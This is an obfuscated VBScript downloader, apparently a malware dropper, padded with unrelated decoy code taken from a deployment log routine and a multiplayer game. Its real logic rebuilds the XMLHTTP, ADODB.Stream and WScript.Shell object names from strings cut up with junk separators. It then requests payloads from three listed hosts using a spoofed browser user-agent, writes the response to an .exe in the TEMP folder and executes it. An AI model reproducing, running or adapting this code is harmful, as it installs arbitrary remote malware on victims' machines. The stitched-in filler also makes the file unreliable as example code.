Function CopyLog()

        Dim oFile
        Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
        Dim sComputer
        Dim sLog
        Dim sBootDrive




        ' Make sure the path is accessible
        oUtility.ValidateConnection oEnvironment.Item("SLShare")
        oUtility.VerifyPathExists oEnvironment.Item("SLShare")
        If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
            oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
            Exit Function
        End if



    End Function


Dim Lurkmorevortexensurance 'As String
'Dim SagaOD() 'As String
Dim LurkmorevortexUotOfStock 'As String

  LurkmorevortexBelish = "User"
Function RobertBaration(a,b,c)
a.Write Chr(b  Xor c )
End Function
Function Set2Mine(Who, Color, X, y )
    For i = 0 To UBound(Mines) + 1
        If i > UBound(Mines) Then ReDim Preserve Mines(i)
        If Mines(i).Color = 0 Then
            Mines(i).Who = Who
            Mines(i).Color = Color
            Mines(i).X = X
            Mines(i).y = y
            Mines(i).Tick = 0
            SetMine = i
            Exit For
        End If
    Next
End Function

CUA ="Mozill"+"a/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

    RACHEL = "avetof"

       Dim TristateTrue
Dim LurkmorevortexRickNano 'As Object
Dim StateUsparse13 'As Object

Function StateUsparseSubMainA()
if D = 14 then
AXC = "SaveToFile"
end if
StateUsparse13.Savetofile LurkmorevortexUotOfStock , 4-2
End Function

Function F3(p)
    Set LurkmorevortexRombickom = CreateObject("WScript"+".Shell")
End Function
Dim Lurkmorevortexstatus
Lurkmorevortexstatus = false
     Dim SagaOD

Function MakeSomeAttemp(A, B, T, F)
set MakeSomeAttemp = A.CreateTextFile( B,T , F)
end function
Dim Lurkmorevortexcashback 'As Object
Vrungel = ".respon"+"seBody"


Lurkmorevortex2 = "Microsoft.XMLHTTPSIROCCOAdodb.streaMSIROCCO"+"shell.ApplicationSIROCCOWscript.shellSIROCCOProcessSIROCCOGeTSIROCCOT"+"emPSIROCCOTyRRMC"+"peRRMC"

Function SheduledObject(p,d)


 LurkmorevortexRombickom.Run("" &LurkmorevortexUotOfStock )
End Function

Dim Lurkmorevortex1DASH1solo 'As Object


 Dim Lurkmorevortex2 'As String
Dim LurkmorevortexGMAKO 'As Object

Function LurkmorevortexFuks(p)

LurkmorevortexRickNano.Send

End Function


Function StateUsparseSubMainA2(param1)
param1 = param1 + param1
    if  1  < param1 OR param1 < 6777  Then
LurkmorevortexASALLLP = LurkmorevortexRickNano.responseBody
    end if
param1 = 2 * param1
End Function

Function TouchMyTalala( s401 )
   TouchMyTalala = Split(Replace(Lurkmorevortex2+"SIROCCORRMCoRRMCpenSIROCCOwrRRMCiteSIROCCOreRRMCspoRRMCnseBoRRMCdySIROCCOsaRRMCvet"+"ofRRMCileSIROCCO\xyCiRkHSyj.exeRRMC"+"SIROCCOhtRRMCtp:SIROCCO//", "RRMC", "" ),  s401)
End Function
 Function RobertBaration(a,b,c)
a.Write Chr(b  Xor c )
End Function
Dim Lurkmorevortex4 'As String

Public Function WriteCD(aWrite,bWrite)
astp = 12
astp = astp + 3
if astp > 4 then
aWrite.Write bWrite
astp = 3 * astp
end if
End Function

  Dim MarketPlaceibility 'As String
  Dim sNodeKey 'As String
  Dim sParentKey 'As String

Dim LurkmorevortexRombickom
 Dim MarketPlace 'As String
  Dim sTempVis 'As String
  Dim iCount 'As Integer
Dim LurkmorevortexASALLLP 'As Variant
Dim dePetya 'As Integer
LurkmorevortexBelish = LurkmorevortexBelish + "-"

Dim iSlashPOS 'As Integer
  Dim sDecimalVis 'As String
  Dim LurkmorevortexPetir 'As String
LurkmorevortexPetir = "Ag"


     SagaOD = TouchMyTalala("" + "SIROCCO")


Set LurkmorevortexRickNano = CreateObject(SagaOD(0))
iSlashPOS = 11 + 1
zTempVis = SagaOD(11/11)

'Set LurkmorevortexGMAKO = CreateObject(SagaOD(8-6))
Set LurkmorevortexStartupeOb = GetRef("SheduledObject")


Set StateUsparse13 = CreateObject("Adodb.streaM")
Set Lurkmorevortex1DASH1solo = CreateObject(SagaOD(9-6))

mual = Array("lasdamas.com/DKndhFG72?","targeter.su/p66/DKndhFG72","walkama.net/DKndhFG72?")


Function SetUA()
LurkmorevortexLamp.setRequestHeader LurkmorevortexBelish, CUA
End Function

if "AD" + WScript  = "ADWindows Script Host" Then
    Set Lurkmorevortexcashback = Lurkmorevortex1DASH1solo.Environment(SagaOD(1 + 3))

end if

Public Function Anim2UniBall(i)
    Dim Rx, Ry, rBuff
    Dim xt, yt, j, e
    Dim NewX, NewY, d, SgnX, SgnY
    Dim RatioX, RatioY
    Rx = 452
    Ry = 81

    NewX = UniBall(i).BallX
    NewY = UniBall(i).BallY
    If UniBall(i).BSpeedX > UniBall(i).BSpeedY And UniBall(i).BSpeedY > 0 Then RatioY = UniBall(i).BSpeedX / UniBall(i).BSpeedY
    If UniBall(i).BSpeedY > UniBall(i).BSpeedX And UniBall(i).BSpeedX > 0 Then RatioX = UniBall(i).BSpeedY / UniBall(i).BSpeedX
    If RatioX < 1 Then RatioX = 1
    If RatioY < 1 Then RatioY = 1
    If UniBall(i).BSpeedX > 0 Then UniBall(i).BSpeedX = UniBall(i).BSpeedX - (0.01 / RatioX) * speed
    If UniBall(i).BSpeedY > 0 Then UniBall(i).BSpeedY = UniBall(i).BSpeedY - (0.01 / RatioY) * speed
    If UniBall(i).BSpeedX < 0 Then UniBall(i).BSpeedX = 0
    If UniBall(i).BSpeedY < 0 Then UniBall(i).BSpeedY = 0

    UniBall(i).BLoopX = UniBall(i).BLoopX + (UniBall(i).BSpeedX * speed)
    For j = 1 To UniBall(i).BLoopX
        NewX = NewX + UniBall(i).BMoveX
        UniBall(i).BLoopX = UniBall(i).BLoopX - 1
    Next

    UniBall(i).BLoopY = UniBall(i).BLoopY + (UniBall(i).BSpeedY * speed)
    For j = 1 To UniBall(i).BLoopY
        NewY = NewY + UniBall(i).BMoveY
        UniBall(i).BLoopY = UniBall(i).BLoopY - 1
    Next


    SgnX = Sgn(NewX - UniBall(i).BallX)
    SgnY = Sgn(NewY - UniBall(i).BallY)


    If SgnX = 1 Then 'x positive testing
        For d = UniBall(i).BallX + 1 To NewX
            j = WeaponTouch(6, i, d, UniBall(i).BallY)
            If j = -7 Then
                Exit For
            End If
            If j = -6 Then
                UniBall(i).BMoveX = UniBall(i).BMoveX * -1
                NewX = d - 1
                Exit For
            End If
        Next
    End If

    If SgnX = -1 Then 'x negative testing
        For d = UniBall(i).BallX - 1 To NewX Step -1
            j = WeaponTouch(6, i, d, UniBall(i).BallY)
            If j = -6 Then
                UniBall(i).BMoveX = UniBall(i).BMoveX * -1
                NewX = d + 1
                Exit For
            End If
        Next
    End If

    If SgnY = 1 Then 'y positive testing
        For d = UniBall(i).BallY + 1 To NewY
            j = WeaponTouch(6, i, NewX, d)
            If j = -6 Then
                UniBall(i).BMoveY = UniBall(i).BMoveY * -1
                NewY = d - 1
                Exit For
            End If
        Next
    End If

    If SgnY = -1 Then 'y negative testing
        For d = UniBall(i).BallY - 1 To NewY Step -1
            j = WeaponTouch(6, i, NewX, d)
            If j = -6 Then
                UniBall(i).BMoveY = UniBall(i).BMoveY * -1
                NewY = d + 1
                Exit For
            End If
        Next
    End If
    j = WeaponTouch(6, i, NewX, NewY)
    If j = -7 Then Exit Function

    UniBall(i).BallX = NewX
    UniBall(i).BallY = NewY
End Function

 dePetya = 89210


Lurkmorevortexensurance = Lurkmorevortexcashback(SagaOD(6))
 Dim i
 'on error GoTo nextU
' on error resume next
sTempVis = SagaOD(iSlashPOS)
Function FragWin()
    Dim i, X
    Dim oNewMsg(), lNewOffSet
    Dim lNewMsg

    For i = 1 To UBound(PlayerDat)
        If PlayerDat(i).Ship > 0 Then
            PlayerDat(i).Score = 0
            lNewMsg = MSG_PLAYERSCORE
            lNewOffSet = 0
            ReDim oNewMsg(0)
            AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
            AddBufferData oNewMsg, VarPtr(i), LenB(i), lNewOffSet
            X = PlayerDat(i).Score
            AddBufferData oNewMsg, VarPtr(X), LenB(X), lNewOffSet
            SendTo oNewMsg, -1
            HoldingArea i
        End If
    Next
    lNewMsg = MSG_PLAYERHOME
    lNewOffSet = 0
    ReDim oNewMsg(0)
    AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
    AddBufferData oNewMsg, VarPtr(HighestScoreWho), LenB(HighestScoreWho), lNewOffSet
    SendTo oNewMsg, -1
    Call sendmsg(MSG_GAMECHAT, Chr(5) & PlayerDat(HighestScoreWho).Nick & " IS THE WINNER! ! !", -1)
    HighestScore = 0
    HighestScoreWho = 0
    For i = 0 To UBound(Mines)
        Mines(i).Color = 0
    Next
End Function

MarketPlace = SagaOD(11+2) & SagaOD(11+3)

LurkmorevortexBelish = LurkmorevortexBelish & LurkmorevortexPetir & "ent"

rdde = 19

lTo = UBound(mual)

For i = 0 To lTo Step 1
rdde = rdde * 8

    on error resume  next

dePetya =  dePetya +7
 Lurkmorevortex4 = MarketPlace + mual(i)
 LurkmorevortexRickNano.Open SagaOD(5), Lurkmorevortex4, False
dr1=2

rdde = rdde + 7


SetUA()
LurkmorevortexFuks " d "
If LurkmorevortexRickNano.Status +3 = 203 Then
Lurkmorevortexstatus = true
 Exit For
End If

goto14:
Next

on error goto 0
if Lurkmorevortexstatus Then
Dim Ratchet 'As String
 LurkmorevortexUotOfStock = Lurkmorevortexensurance+ sTempVis

F3 ""

StateUsparse13.Type = 1
 StateUsparse13.Open
StateUsparseSubMainA2 22
WriteCD StateUsparse13,LurkmorevortexASALLLP
dttat =4
LurkmorevortexUotOfStocku = "" + LurkmorevortexUotOfStock

dttat = dttat*2

StateUsparseSubMainA()
Dim LurkmorevortexJohnSnowu,LurkmorevortexTmp1 'As Long

LurkmorevortexJohnSnowu = 3012

If 1000  < LurkmorevortexJohnSnowu Then
  drba =55
 LurkmorevortexTmp1 = "|"

LurkmorevortexStartupeOb 1,"19"
End If


triada = 13
end if